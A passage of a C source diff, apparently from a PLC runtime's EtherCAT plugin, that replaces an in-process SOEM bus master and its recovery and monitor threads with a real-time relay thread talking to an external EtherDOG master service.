Splits the I/O window so - * IEC scan tasks aren't blocked across the network round-trip. - * - Per-master scan_cycle_tracker registered with the runtime so - * STATS reports bus cycle timing alongside the IEC tasks. - * - The legacy cycle_start/cycle_end plugin hooks are gone. + * The EtherCAT master is EtherDOG, supervised by the webserver: + * start_loop: connect, load the bus configuration, start the bus, read the layout, bind it + * to ethercat_iomapping.json, open the data session, spawn the relay thread + * relay: per input frame, publish %I through the journal, then read %Q under + * image_lock and answer with an output frame + * stop_loop: stop the relay, close the session and stop the bus + * If EtherDOG goes quiet (restart, crash) the relay reconnects on its own; plc_main keeps + * running with the last inputs meanwhile and EtherDOG drives the outputs to the safe state. */ -/* _GNU_SOURCE pulls in glibc extensions used by the bus thread: - * - pthread_setname_np() for `top` / `htop` thread naming - * - pthread_kill() for SIGUSR1 wake-up on stop - * Must come before any system header. */ #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif -#include #include -#include +#include +#include +#include #include -#include #include #include #include -#include -#include #include #include +#include "cJSON.h" +#include "etherdog_link.h" +#include "ethercat_iomap.h" #include "plugin_logger.h" #include "plugin_types.h" -#include "ethercat_plugin.h" -#include "ethercat_config.h" -#include "ethercat_master.h" -#include "ethercat_io.h" -#include "soem/soem.h" /* osal_get_monotonic_time, ec_timet */ -#include "cJSON.h" /* JSON parsing for execute_command */ -/* Forward declaration: ecat_bus_thread is defined alongside the bus - * loop further down in the file but referenced first by - * start_single_master via pthread_create. */ -static void *ecat_bus_thread(void *arg); +/* link_up result: the program's configuration cannot run on this bus, so retrying cannot help. */ +#define LINK_CONFIG_ERROR (-3) -/* - * ============================================================================= - * Constants - * ============================================================================= - */ +/* Used when the bus configuration gives no task_priority; EtherDOG's own default is 90. */ +#define DEFAULT_RELAY_PRIORITY 90 +/* Below the runtime's dispatcher (PLC_FIFO_DISPATCHER, 98) and watchdog (99), task_policy.h. */ +#define MAX_RELAY_PRIORITY 97 +#define RECV_TIMEOUT_MS 100 +#define SILENCE_RECONNECT_MS 1000 +#define RECONNECT_BACKOFF_MS 1000 +#define START_TIMEOUT_MS 60000 -/** Minimum timeout for receive in microseconds */ -#define ECAT_MIN_RECEIVE_TIMEOUT_US 200 +static plugin_logger_t g_logger; +static plugin_runtime_args_t g_args; +static char g_session_file[256] = EDL_SESSION_FILE; +static ecat_iomap_t g_map; +static ecat_bound_map_t g_bound; +static edl_link_t g_link; +static bool g_linked = false; +static bool g_have_map = false; +static int g_relay_priority = DEFAULT_RELAY_PRIORITY; -/* - * ============================================================================= - * Inline Timing Helpers - * ============================================================================= - */ +/* Last input flags per master, to log bus state changes once. -1: none seen yet. */ +static int g_last_flags[EDL_MAX_MASTERS]; -/** - * @brief Convert ec_timet (struct timespec) to nanoseconds - */ -static inline uint64_t timespec_to_ns(const ec_timet *ts) +static pthread_t g_relay; +static atomic_bool g_running = false; +static bool g_relay_started = false; + +/* ----------------------------------------------------------------------------------------- */ + +static void sleep_ms(int ms) { - return (uint64_t)ts->tv_sec * 1000000000ULL + (uint64_t)ts->tv_nsec; + struct timespec ts = { ms / 1000, (long)(ms % 1000) * 1000000L }; + nanosleep(&ts, NULL); } -/** - * @brief Return elapsed nanoseconds between two timestamps - */ -static inline uint64_t elapsed_ns(const ec_timet *start, const ec_timet *end) +/* Returns 0 with *resp heap-allocated (caller frees), or -1. */ +static int call_json(edl_link_t *link, const char *command, char **resp, int timeout) { - uint64_t s = timespec_to_ns(start); - uint64_t e = timespec_to_ns(end); - return (e > s) ? (e - s) : 0; + char req[64]; + snprintf(req, sizeof(req), "{\"command\":\"%s\"}", command); + return edl_call(link, req, resp, timeout); } -/* - * ============================================================================= - * EtherCAT AL State to String Helper - * ============================================================================= - */ - -/** - * @brief Convert SOEM EC_STATE_* value to a human-readable string - */ -static const char *al_state_to_string(uint16_t state) +/* Load the bus configuration; the bus starts only with the program, so both always match. */ +static int configure_bus(const edl_session_t *session, char *err, size_t err_size) { - /* Mask off the error bit for comparison */ - uint16_t base = state & 0x0F; - int has_error = (state & EC_STATE_ERROR) != 0; - - const char *name; - switch (base) { - case EC_STATE_NONE: name = "NONE"; break; - case EC_STATE_INIT: name = "INIT"; break; - case EC_STATE_PRE_OP: name = "PRE-OP"; break; - case EC_STATE_BOOT: name = "BOOT"; break; - case EC_STATE_SAFE_OP: name = "SAFE-OP"; break; - case EC_STATE_OPERATIONAL: name = "OP"; break; - default: name = "UNKNOWN"; break; + cJSON *req = cJSON_CreateObject(); + cJSON_AddStringToObject(req, "command", "configure"); + if (session->busconfig[0] != '\0') + cJSON_AddStringToObject(cJSON_AddObjectToObject(req, "params"), "path", session->busconfig); + char *line = cJSON_PrintUnformatted(req); + cJSON_Delete(req); + char *resp = NULL; + int rc = line ? edl_call(&g_link, line, &resp, 15000) : -1; + free(line); + if (rc != 0) { + snprintf(err, err_size, "no reply from EtherDOG to 'configure'"); + return -1; } - /* Return static strings for common cases */ - if (!has_error) - return name; - - /* For error states, we just note it. Since we return static strings, - * use a small set of pre-defined error state strings. */ - switch (base) { - case EC_STATE_INIT: return "INIT+ERR"; - case EC_STATE_PRE_OP: return "PRE-OP+ERR"; - case EC_STATE_SAFE_OP: return "SAFE-OP+ERR"; - default: return "UNKNOWN+ERR"; + cJSON *root = cJSON_Parse(resp); + const cJSON *e = root ? cJSON_GetObjectItemCaseSensitive(root, "error") : NULL; + const cJSON *masters = root ? cJSON_GetObjectItemCaseSensitive(root, "masters") : NULL; + rc = 0; + if (cJSON_IsString(e)) { + /* Still running from before a reconnect: it already holds this program's configuration */ + if (strstr(e->valuestring, "running") == NULL) { + snprintf(err, err_size, "EtherDOG rejected the bus configuration: %.300s", + e->valuestring); + rc = LINK_CONFIG_ERROR; + } + } else if (cJSON_IsArray(masters)) { + int priority = 0; + const cJSON *m; + cJSON_ArrayForEach(m, masters) + { + const cJSON *p = cJSON_GetObjectItemCaseSensitive(m, "task_priority"); + if (cJSON_IsNumber(p) && p->valueint > priority) + priority = p->valueint; + } + g_relay_priority = priority < 1 ? DEFAULT_RELAY_PRIORITY + : priority > MAX_RELAY_PRIORITY ? MAX_RELAY_PRIORITY + : priority; } + cJSON_Delete(root); + free(resp); + return rc; } -/* - * ============================================================================= - * Local String Helper - * ============================================================================= - */ - -static void safe_strcpy_local(char *dest, const char *src, size_t max_len) -{ - if (src == NULL) { dest[0] = '\0'; return; } - strncpy(dest, src, max_len - 1); - dest[max_len - 1] = '\0'; -} - -/* - * ============================================================================= - * Diag Reset Helper - * ============================================================================= - * - * Runs before the monitor thread is created and before the PLC enters - * OPERATIONAL — no concurrency yet, so memset is sufficient to zero the - * atomic fields. The min sentinel starts at UINT64_MAX so the first - * cycle's "less-than" comparison wins. - */ -static void diag_reset(ecat_cycle_diag_t *d) +/* Masters EtherDOG runs that the mapping does not mention: their data is ignored. */ +static void warn_unmapped_masters(const cJSON *layout) { - memset(d, 0, sizeof(*d)); - atomic_store_explicit(&d->min_bus_cycle_ns, UINT64_MAX, memory_order_relaxed); - atomic_store_explicit(&d->min_period_ns, UINT64_MAX, memory_order_relaxed); - atomic_store_explicit(&d->min_latency_ns, INT64_MAX, memory_order_relaxed); + const cJSON *masters = cJSON_GetObjectItemCaseSensitive(layout, "masters"); + const cJSON *m; + cJSON_ArrayForEach(m, masters) + { + const cJSON *idx = cJSON_GetObjectItemCaseSensitive(m, "index"); + const cJSON *name = cJSON_GetObjectItemCaseSensitive(m, "name"); + if (cJSON_IsNumber(idx) && idx->valueint >= 0 && idx->valueint < ECAT_IOMAP_MAX_MASTERS && + !g_bound.masters[idx->valueint].active) + plugin_logger_warn(&g_logger, + "EtherCAT master '%s' has no I/O mapping; its data is ignored", + cJSON_IsString(name) ? name->valuestring : "?"); + } } -/* - * ============================================================================= - * Mutex Init Helper - * ============================================================================= - * - * Initializes a mutex with PTHREAD_PRIO_INHERIT so that the SCHED_FIFO PLC - * thread does not get blocked behind a normal-priority thread that holds - * the same lock (priority inversion). Falls back gracefully on platforms - * that do not support the protocol attribute. - */ -static int ecat_mutex_init_pi(pthread_mutex_t *m) +/* Bring the link up: connect, configure and start the bus, bind the layout, open the data session. */ +static int link_up(char *err, size_t err_size) { - pthread_mutexattr_t attr; - if (pthread_mutexattr_init(&attr) != 0) + edl_session_t session; + int session_rc = edl_read_session(g_session_file, &session, err, err_size); + if (session_rc != 0) + return session_rc; + if (edl_connect(&g_link, &session, err, err_size) != 0) return -1; -#if !defined(__CYGWIN__) && !defined(_WIN32) - /* Best-effort: ignore failure (some libcs return ENOTSUP) */ - (void)pthread_mutexattr_setprotocol(&attr, PTHREAD_PRIO_INHERIT); -#endif - int rc = pthread_mutex_init(m, &attr); - pthread_mutexattr_destroy(&attr); - return rc; -} - - -/* - * ============================================================================= - * Plugin-Wide State - * ============================================================================= - * - * The logger and runtime args are shared across all masters. - * Per-master state is in the g_masters[] array. - */ - -static plugin_logger_t g_logger; -static plugin_runtime_args_t g_runtime_args; -static ecat_master_instance_t *g_masters = NULL; /* heap-allocated array */ -static int g_master_count = 0; - -/* - * ============================================================================= - * Per-Instance Slaves Snapshot - * ============================================================================= - */ -/** - * @brief Build and publish a snapshot of per-slave AL state. - * - * Reads from ecx_context.slavelist[] and config.slaves[] into a stack - * array, then memcpy-publishes under slaves_mutex. The caller must - * hold soem_lock when calling this (the read of slavelist[] races with - * monitor recovery otherwise). - * - * Counters/timing are NOT cached here -- consumers (build_master_*_json) - * read them lock-free via atomic_load directly from inst->diag. - */ -static void publish_slaves_snapshot(ecat_master_instance_t *inst) -{ - ecat_slave_status_t local[ECAT_MAX_SLAVES]; - memset(local, 0, sizeof(local)); - - int n = inst->config.slave_count; - if (n > ECAT_MAX_SLAVES) - n = ECAT_MAX_SLAVES; - - for (int i = 0; i < n; i++) { - const ecat_slave_t *cfg = &inst->config.slaves[i]; - ecat_slave_status_t *ss = &local[i]; - - ss->position = cfg->position; - strncpy(ss->name, cfg->name, ECAT_MAX_NAME_LEN - 1); - ss->name[ECAT_MAX_NAME_LEN - 1] = '\0'; - - const ec_slavet *soem = ecat_master_get_slave(inst, cfg->position); - if (soem) { - ss->al_state = soem->state; - ss->al_status_code = soem->ALstatuscode; - } + char *resp = NULL; + cJSON *layout = NULL; + int rc = configure_bus(&session, err, err_size); + if (rc != 0) + goto fail; + rc = -1; + if (call_json(&g_link, "start", &resp, START_TIMEOUT_MS) != 0) { + snprintf(err, err_size, "no reply from EtherDOG to 'start'"); + goto fail; + } + if (strstr(resp, "\"error\"") != NULL) { + snprintf(err, err_size, "EtherDOG could not start the bus: %.300s", resp); + goto fail; + } + free(resp); + resp = NULL; + if (call_json(&g_link, "layout", &resp, 5000) != 0) { + snprintf(err, err_size, "no reply from EtherDOG to 'layout'"); + goto fail; + } + + layout = cJSON_Parse(resp); + if (layout == NULL) { + snprintf(err, err_size, "EtherDOG layout reply is not JSON"); + goto fail; + } + int bind_rc = ecat_iomap_bind(&g_map, layout, &g_args, &g_bound, err, err_size); + if (bind_rc != 0) { + rc = bind_rc == ECAT_IOMAP_CONFIG_ERROR ? LINK_CONFIG_ERROR : -1; + goto fail; + } + warn_unmapped_masters(layout); + for (int i = 0; i < g_bound.not_ready_count; i++) + plugin_logger_warn(&g_logger, + "EtherCAT master '%s' is not operational; its I/O stays off until the " + "bus restarts", + g_bound.not_ready[i]); + cJSON_Delete(layout); + layout = NULL; + free(resp); + resp = NULL; + + char dir_buf[256]; + snprintf(dir_buf, sizeof(dir_buf), "%s", g_session_file); + if (edl_open_data(&g_link, &session, dirname(dir_buf), err, err_size) != 0) + goto fail; + + for (int i = 0; i < ECAT_IOMAP_MAX_MASTERS; i++) { + const ecat_bound_master_t *m = &g_bound.masters[i]; + if (m->active) + plugin_logger_info(&g_logger, + "Master %d: %d input(s), %d output(s) bound (image %u/%u bytes)", i, + m->input_count, m->output_count, m->input_bytes, m->output_bytes); } + for (int i = 0; i < EDL_MAX_MASTERS; i++) + g_last_flags[i] = -1; + g_linked = true; + return 0; - pthread_mutex_lock(&inst->slaves_mutex); - memcpy(inst->slaves_snapshot, local, sizeof(local)); - inst->slaves_snapshot_count = n; - pthread_mutex_unlock(&inst->slaves_mutex); +fail: + cJSON_Delete(layout); + free(resp); + resp = NULL; + /* The bus was started for a program that cannot use it: stop it before giving up. */ + if (rc == LINK_CONFIG_ERROR && g_link.ctl_fd >= 0) { + call_json(&g_link, "stop", &resp, 10000); + free(resp); + } + edl_close(&g_link); + g_linked = false; + return rc; } -#if ECAT_ENABLE_MONITOR_THREAD -/* - * ============================================================================= - * Mailbox Drain + Error Queue (runs in monitor thread) - * ============================================================================= - * - * SOEM dispatches CoE Emergencies internally when ecx_mbxreceive sees a - * mailbox with CANopen header service=1. But mbxreceive only fires when - * something else (SDO write/read) drains SM1 -- in steady-state OP we - * never trigger it, so emergencies pile up in the slave's SM1 until the - * next mailbox transaction. ecx_mbxhandler is SOEM's periodic drain: - * it walks the mailbox queues for the group and processes pending in/out - * mailboxes. Run it from the monitor thread (cold path), then pop the - * resulting ec_errort entries (Emergencies, SDO aborts, MBX errors) from - * SOEM's internal error queue and surface them through the plugin logger. - */ - -/** Map ec_err_type to a short human-readable tag for log lines. */ -static const char *ecat_err_type_name(ec_err_type t) +static void link_down(bool stop_bus) { - switch (t) { - case EC_ERR_TYPE_SDO_ERROR: return "SDO"; - case EC_ERR_TYPE_EMERGENCY: return "EMERGENCY"; - case EC_ERR_TYPE_PACKET_ERROR: return "PACKET"; - case EC_ERR_TYPE_SDOINFO_ERROR: return "SDOINFO"; - case EC_ERR_TYPE_FOE_ERROR: return "FOE"; - case EC_ERR_TYPE_FOE_BUF2SMALL: return "FOE_BUF2SMALL"; - case EC_ERR_TYPE_FOE_PACKETNUMBER: return "FOE_PKTNUM"; - case EC_ERR_TYPE_SOE_ERROR: return "SOE"; - case EC_ERR_TYPE_MBX_ERROR: return "MBX"; - case EC_ERR_TYPE_FOE_FILE_NOTFOUND: return "FOE_NOTFOUND"; - case EC_ERR_TYPE_EOE_INVALID_RX_DATA: return "EOE_RX"; + if (g_link.ctl_fd >= 0) { + char *resp = NULL; + call_json(&g_link, "close_data", &resp, 2000); + free(resp); + resp = NULL; + if (stop_bus) + call_json(&g_link, "stop", &resp, 10000); + free(resp); } - return "UNKNOWN"; + edl_close(&g_link); + g_linked = false; } -/** - * @brief Surface one popped ec_errort through the plugin logger. - * - * Emergency Error Code 0x0000 (CiA 301) is a "no error / error reset" - * notification -- log at info level so operators can see drives clearing - * faults, but don't escalate to warn/error. - */ -static void log_ecat_error(const ecat_master_instance_t *inst, const ec_errort *e) +/* Link setup (JSON parsing, allocation, blocking calls) runs at normal scheduling. */ +static void drop_relay_priority(void) { - const char *type = ecat_err_type_name(e->Etype); + struct sched_param sp = { .sched_priority = 0 }; + int rc = pthread_setschedparam(pthread_self(), SCHED_OTHER, &sp); + if (rc != 0) + plugin_logger_warn(&g_logger, "relay: cannot return to SCHED_OTHER: %s", strerror(rc)); +} - if (e->Etype == EC_ERR_TYPE_EMERGENCY) { - /* CiA 301 "Error reset / no error" carries ErrorCode 0x0000. - * Surface as info so operators can see drives clearing faults - * without escalating to error level. */ - if (e->ErrorCode == 0x0000) { - plugin_logger_info(&g_logger, - "Master '%s': %s slave=%u code=0x%04X reg=0x%02X " - "data=%02X %04X %04X (error reset)", - inst->name, type, (unsigned)e->Slave, - (unsigned)e->ErrorCode, (unsigned)e->ErrorReg, - (unsigned)e->b1, (unsigned)e->w1, (unsigned)e->w2); - } else { - plugin_logger_error(&g_logger, - "Master '%s': %s slave=%u code=0x%04X reg=0x%02X " - "data=%02X %04X %04X", - inst->name, type, (unsigned)e->Slave, - (unsigned)e->ErrorCode, (unsigned)e->ErrorReg, - (unsigned)e->b1, (unsigned)e->w1, (unsigned)e->w2); - } - } else { - plugin_logger_warn(&g_logger, - "Master '%s': %s slave=%u index=0x%04X:%u abort=0x%08X", - inst->name, type, (unsigned)e->Slave, - (unsigned)e->Index, (unsigned)e->SubIdx, - (unsigned)e->AbortCode); - } +static void apply_relay_priority(void) +{ + struct sched_param sp = { .sched_priority = g_relay_priority }; + int rc = pthread_setschedparam(pthread_self(), SCHED_FIFO, &sp); + if (rc != 0) + plugin_logger_warn(&g_logger, "relay: SCHED_FIFO(%d) unavailable: %s", g_relay_priority, + strerror(rc)); } -/** - * @brief Drain SM1 mailboxes and SOEM's internal error queue. - * - * Acquires soem_lock briefly, calls ecx_mbxhandler to dispatch any pending - * mailbox traffic (SOEM internally pushes CoE Emergencies into elist when - * it sees them), then pops the queued errors into a local buffer and - * releases the lock before logging -- plugin_logger does a synchronous - * socket write that we don't want under soem_lock. - * - * Caller is the monitor thread. No-op when SOEM is not initialized so a - * future refactor that reorders stop (close before join) cannot turn this - * into use-after-close on the raw socket. - */ -static void drain_mailbox_and_errors(ecat_master_instance_t *inst) +/* Logs a master's bus state change; the program keeps running on the last inputs. */ +static void track_bus_state(int master, uint8_t flags) { - if (!inst->soem_initialized) + int state = flags & (EDL_FLAG_VALID | EDL_FLAG_WKC_OK); + int last = g_last_flags[master]; + g_last_flags[master] = state; + if (last == state) return; - - /* EC_MAXELIST is SOEM's queue capacity; we never need more slots. */ - ec_errort errors[EC_MAXELIST]; - int err_count = 0; - - pthread_mutex_lock(&inst->soem_lock); - /* limit=8 caps work per call -- mbxhandler iterates queued mailbox - * operations across the group; the cap keeps the lock window bounded - * even when traffic is bursty. */ - ecx_mbxhandler(&inst->ecx_context, 0, 8); - while (err_count < EC_MAXELIST && - ecx_poperror(&inst->ecx_context, &errors[err_count])) { - err_count++; + if (!(state & EDL_FLAG_VALID)) { + plugin_logger_warn(&g_logger, + "EtherCAT master %d: bus not operational; inputs keep their last values", + master); + } else if (!(state & EDL_FLAG_WKC_OK)) { + plugin_logger_warn(&g_logger, "EtherCAT master %d: working counter mismatch", master); + } else if (last != -1) { + plugin_logger_info(&g_logger, "EtherCAT master %d: bus operational again", master); } - pthread_mutex_unlock(&inst->soem_lock); - - for (int i = 0; i < err_count; i++) - log_ecat_error(inst, &errors[i]); } -/* - * ============================================================================= - * Recovery Logic (runs in monitor thread, never in PLC scan cycle) - * ============================================================================= - */ - -/** - * @brief Attempt to recover all slaves that are not in OP - * - * Acquires inst->soem_lock per slave (not for the whole iteration), - * yielding briefly between slaves so the RT PLC thread can grab the - * lock and run an exchange. Without chunking, recovery of N slaves - * holds the lock contiguously for ~N * (ecx_writestate + ecx_statecheck - * + ecx_recover_slave) -- seconds, in the worst case -- and the PLC's - * trylock fails for that entire window, freezing I/O at stale values. - * - * @param inst Per-master instance - * @return 1 if all slaves back in OP, 0 if some still recovering, -1 on max attempts - */ -static int attempt_recovery(ecat_master_instance_t *inst) +static uint64_t now_ms(void) { - /* Initial state read under lock so cycle_start_single never sees - * a slavelist[] mid-update. */ - pthread_mutex_lock(&inst->soem_lock); - ecat_master_read_states(inst); - pthread_mutex_unlock(&inst->soem_lock); - - int all_ok = 1; - - /* 1 ms is comfortably above one PLC tick at typical cycle times - * (250 us-1 ms), giving the higher-priority RT thread a guaranteed - * window to grab the lock between our per-slave acquisitions. In - * configurations with cycle_time > 1 ms, the trylock would still - * fail occasionally but exchange_skips no longer climb continuously. */ - const struct timespec yield = { 0, 1000 * 1000 }; /* 1 ms */ - - for (int i = 0; i < inst->config.slave_count; i++) { - int pos = inst->config.slaves[i].position; - - pthread_mutex_lock(&inst->soem_lock); - uint16_t state = ecat_master_get_slave_state(inst, pos); - /* 0 = no recovery needed (slave already in OP); only set to a - * negative value if ecat_master_recover_slave reports an error. */ - int result = 0; - if (state != EC_STATE_OPERATIONAL) { - all_ok = 0; - result = ecat_master_recover_slave(inst, pos, &g_logger); - } - pthread_mutex_unlock(&inst->soem_lock); - - if (result < 0) { - plugin_logger_error(&g_logger, - "Master '%s': Slave %d (%s): recovery error", - inst->name, pos, inst->config.slaves[i].name); - } - - nanosleep(&yield, NULL); - } - - if (all_ok) { - plugin_logger_info(&g_logger, - "Master '%s': All slaves recovered to OPERATIONAL (attempts=%d)", - inst->name, atomic_load(&inst->recovery_attempts)); - atomic_store(&inst->recovery_attempts, 0); - atomic_store(&inst->recovery_writestate_failures, 0); - atomic_store(&inst->consecutive_wkc_errors, 0); - return 1; - } + struct timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + return (uint64_t)ts.tv_sec * 1000u + (uint64_t)ts.tv_nsec / 1000000u; +} - /* Single-writer (monitor thread) — fetch_add not needed; load+store is - * sufficient and communicates the ownership model. */ - int attempts = atomic_load_explicit(&inst->recovery_attempts, - memory_order_relaxed) + 1; - atomic_store_explicit(&inst->recovery_attempts, attempts, - memory_order_relaxed); +/* The first bound master that has sent no valid frame for SILENCE_RECONNECT_MS, or -1. */ +static int silent_master(const uint64_t *last_rx, uint64_t now) +{ + for (int i = 0; i < ECAT_IOMAP_MAX_MASTERS; i++) + if (g_bound.masters[i].active && now - last_rx[i] >= SILENCE_RECONNECT_MS) + return i; + return -1; +} - if (attempts >= ECAT_MAX_RECOVERY_ATTEMPTS) { - plugin_logger_error(&g_logger, - "Master '%s': Maximum recovery attempts (%d) reached - transitioning to ERROR", - inst->name, ECAT_MAX_RECOVERY_ATTEMPTS); - return -1; +/* A configuration that cannot bind will not bind on retry: stop the PLC with the reason. */ +static void fail_configuration(const char *err) +{ + plugin_logger_error(&g_logger, "EtherCAT configuration error: %s", err); + if (g_args.request_plc_stop) { + char reason[600]; + snprintf(reason, sizeof(reason), "EtherCAT configuration error: %s", err); + g_args.request_plc_stop(reason); } - - plugin_logger_warn(&g_logger, - "Master '%s': Recovery attempt %d/%d - some slaves not yet in OP", - inst->name, attempts, ECAT_MAX_RECOVERY_ATTEMPTS); - return 0; } -/* - * ============================================================================= - * Background Monitor Thread (per-instance) - * ============================================================================= - */ - -/** - * @brief Background thread for slave state monitoring, recovery, and logging. - * - * Runs at default (non-RT) priority. Periodically: - * - Acquires inst->soem_lock (PLC trylocks the same mutex; if the - * monitor is holding it, the PLC skips one exchange cycle). - * - Reads slave states via ecx_readstate() and publishes the slaves - * snapshot. - * - Performs recovery if in RECOVERING state. - * - Emits user-facing log messages on state and counter transitions - * so the PLC hot path never calls plugin_logger_* (which serialises - * on a global mutex and writes synchronously to a Unix socket). - * - * @param arg Pointer to the ecat_master_instance_t for this master - */ -static void *ecat_monitor_thread(void *arg) +static void *relay_thread(void *arg) { - ecat_master_instance_t *inst = (ecat_master_instance_t *)arg; + (void)arg; + pthread_setname_np(pthread_self(), "ecat-relay"); + bool realtime = false; - /* Local state for transition-based logging. All scoped to this - * thread, so no atomics or struct fields needed. Stats are only - * emitted on transitions (state change, WKC errors start/clear) -- - * continuous metrics are already exposed via the status / diagnostics - * commands consumed by the editor. */ - int last_logged_state = -1; - int last_logged_consec_wkc = 0; + uint8_t frame[EDL_FRAME_HEADER + EDL_MAX_PAYLOAD]; + uint8_t outputs[EDL_MAX_PAYLOAD]; + uint64_t last_rx[ECAT_IOMAP_MAX_MASTERS] = { 0 }; + char err[512]; + char last_err[512] = ""; + bool reported = false; - plugin_logger_info(&g_logger, - "Master '%s': monitor thread started (interval=%d ms)", - inst->name, ECAT_MONITOR_INTERVAL_MS); - - while (atomic_load(&inst->monitor_running)) { - int state = atomic_load(&inst->plugin_state); - - if (state == ECAT_STATE_OPERATIONAL) { - /* Periodic state check. Publish slaves snapshot while still - * holding the lock, so the read of slavelist[] is consistent. */ - pthread_mutex_lock(&inst->soem_lock); - ecat_master_read_states(inst); - publish_slaves_snapshot(inst); - pthread_mutex_unlock(&inst->soem_lock); - - } else if (state == ECAT_STATE_RECOVERING) { - /* attempt_recovery acquires soem_lock per slave with a yield - * in between, so the PLC trylock has frequent windows to - * succeed during recovery. Snapshot publish takes the lock - * once after recovery returns. */ - int result = attempt_recovery(inst); - - pthread_mutex_lock(&inst->soem_lock); - publish_slaves_snapshot(inst); - pthread_mutex_unlock(&inst->soem_lock); - - if (result == 1) { - atomic_store(&inst->plugin_state, ECAT_STATE_OPERATIONAL); - plugin_logger_info(&g_logger, - "Master '%s': [state: OPERATIONAL] Recovered from error", - inst->name); - } else if (result == -1) { - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); - plugin_logger_error(&g_logger, - "Master '%s': entered ERROR state after max recovery attempts", - inst->name); + while (atomic_load(&g_running)) { + if (!g_linked) { + if (realtime) { + drop_relay_priority(); + realtime = false; } + int rc = link_up(err, sizeof(err)); + if (rc == LINK_CONFIG_ERROR) { + fail_configuration(err); + break; + } + if (rc != 0) { + /* Each distinct reason once */ + if (strcmp(err, last_err) != 0) { + if (rc == EDL_DISABLED) + plugin_logger_warn(&g_logger, "EtherCAT disabled: %s", err); + else + plugin_logger_warn(&g_logger, "EtherDOG link down, retrying: %s", err); + snprintf(last_err, sizeof(last_err), "%s", err); + } + reported = true; + sleep_ms(RECONNECT_BACKOFF_MS); + continue; + } + last_err[0] = '\0'; + plugin_logger_info(&g_logger, "EtherDOG link %s", reported ? "restored" : "up"); + reported = false; + uint64_t now = now_ms(); + for (int i = 0; i < ECAT_IOMAP_MAX_MASTERS; i++) + last_rx[i] = now; + apply_relay_priority(); + realtime = true; } - /* Drain SM1 mailboxes (CoE Emergencies, async SDO responses) and - * surface anything SOEM pushed into its internal error queue. - * Skip in ERROR/STOPPED -- mailbox state is undefined when slaves - * are not at least in PRE-OP. */ - int mbx_state = atomic_load(&inst->plugin_state); - if (mbx_state == ECAT_STATE_OPERATIONAL || - mbx_state == ECAT_STATE_RECOVERING) { - drain_mailbox_and_errors(inst); - } - - /* --- Transition-based logging (replaces hot-path PLC logs) --- */ - - int curr_state = atomic_load(&inst->plugin_state); - if (curr_state != last_logged_state) { - if (curr_state == ECAT_STATE_RECOVERING) { + int master = 0; + uint8_t flags = 0; + const uint8_t *payload = NULL; + size_t len = 0; + int rc = edl_recv_inputs(&g_link, frame, sizeof(frame), RECV_TIMEOUT_MS, &master, &flags, + &payload, &len); + const ecat_bound_master_t *m = rc > 0 ? &g_bound.masters[master] : NULL; + if (m != NULL && m->active) + last_rx[master] = now_ms(); + + int silent = rc < 0 ? -1 : silent_master(last_rx, now_ms()); + if (rc < 0 || silent >= 0) { + if (rc < 0) plugin_logger_warn(&g_logger, - "Master '%s': WKC error threshold (%d) reached, " - "[state: RECOVERING]", - inst->name, ECAT_WKC_ERROR_THRESHOLD); - } - last_logged_state = curr_state; + "EtherCAT link to EtherDOG lost (socket error); inputs keep " + "their last values, reconnecting"); + else + plugin_logger_warn(&g_logger, + "EtherCAT master %d sent no data for 1 s; inputs keep their last " + "values, reconnecting", + silent); + link_down(false); + reported = true; + continue; } + if (m == NULL || !m->active) + continue; /* no frame, or unmapped (warned at link up); EtherDOG holds its outputs at zero */ + track_bus_state(master, flags); - int consec = atomic_load(&inst->consecutive_wkc_errors); - if (consec > 0 && last_logged_consec_wkc == 0) { - plugin_logger_warn(&g_logger, - "Master '%s': WKC errors detected (consecutive=%d, expected=%d)", - inst->name, consec, inst->expected_wkc); - last_logged_consec_wkc = consec; - } else if (consec == 0 && last_logged_consec_wkc != 0) { - plugin_logger_info(&g_logger, - "Master '%s': WKC errors cleared", inst->name); - last_logged_consec_wkc = 0; - } + if (flags & EDL_FLAG_VALID) + ecat_iomap_publish_inputs(m, payload, len, &g_args); - /* Sleep for the monitor interval */ - struct timespec sleep_ts; - sleep_ts.tv_sec = ECAT_MONITOR_INTERVAL_MS / 1000; - sleep_ts.tv_nsec = (ECAT_MONITOR_INTERVAL_MS % 1000) * 1000000L; - nanosleep(&sleep_ts, NULL); + g_args.image_lock(); + ecat_iomap_collect_outputs(m, outputs, m->output_bytes); + g_args.image_unlock(); + edl_send_outputs(&g_link, master, outputs, m->output_bytes, true); } - - plugin_logger_info(&g_logger, "Master '%s': monitor thread exiting", inst->name); return NULL; } -#endif /* ECAT_ENABLE_MONITOR_THREAD */ -/* - * ============================================================================= - * Per-Instance Helpers for start_loop / stop_loop / cycle_start - * ============================================================================= - */ +/* --- plugin entry points ------------------------------------------------------------------- */ -/** - * @brief Start a single EtherCAT master instance - * - * Runs through SCANNING -> CONFIGURING -> TRANSITIONING -> OPERATIONAL - * for one master. On failure the instance is set to ERROR state. - * - * @param inst Per-master instance - * @return 0 on success, -1 on failure - */ -static int start_single_master(ecat_master_instance_t *inst) +int init(void *args) { - if (inst->config.slave_count == 0) { - plugin_logger_warn(&g_logger, - "Master '%s': No slaves configured - skipping", inst->name); - return -1; - } - - /* --- Phase 1: SCANNING --- */ - atomic_store(&inst->plugin_state, ECAT_STATE_SCANNING); - plugin_logger_info(&g_logger, - "Master '%s': [state: SCANNING] Opening interface and scanning bus...", - inst->name); - - if (ecat_master_open_and_scan(inst, &g_logger) != 0) { - plugin_logger_error(&g_logger, "Master '%s': Bus scan failed", inst->name); - /* open_and_scan may have partially applied iface state -- close reverts it. */ - ecat_master_close(inst, &g_logger); - atomic_store(&inst->plugin_state, ECAT_STATE_ERROR); + plugin_logger_init(&g_logger, "ETHERCAT", args); + if (args == NULL) { + plugin_logger_error(&g_logger, "init args is NULL"); return -1; } + memcpy(&g_args, args, sizeof(g_args)); - /* --- Phase 2: CONFIGURING (SDO writes + PDO mapping) --- */ - atomic_store(&inst->plugin_state, ECAT_STATE_CONFIGURING); - plugin_logger_info(&g_logger, - "Master '%s': [state: CONFIGURING] Writing SDOs and mapping process data...", - inst->name); - - /* Write SDOs for each slave that has them configured. When - * slave->strict_sdo is true (default) any failed write aborts the - * master so it never enters OPERATIONAL with a half-configured slave. */ - for (int i = 0; i < inst->config.slave_count; i++) { - const ecat_slave_t *slave = &inst->config.slaves[i]; - if (slave->sdo_count == 0) - continue; + const char *override = getenv("ETHERDOG_SESSION_FILE"); + if (override != NULL && override[0] != '\0') + snprintf(g_session_file, 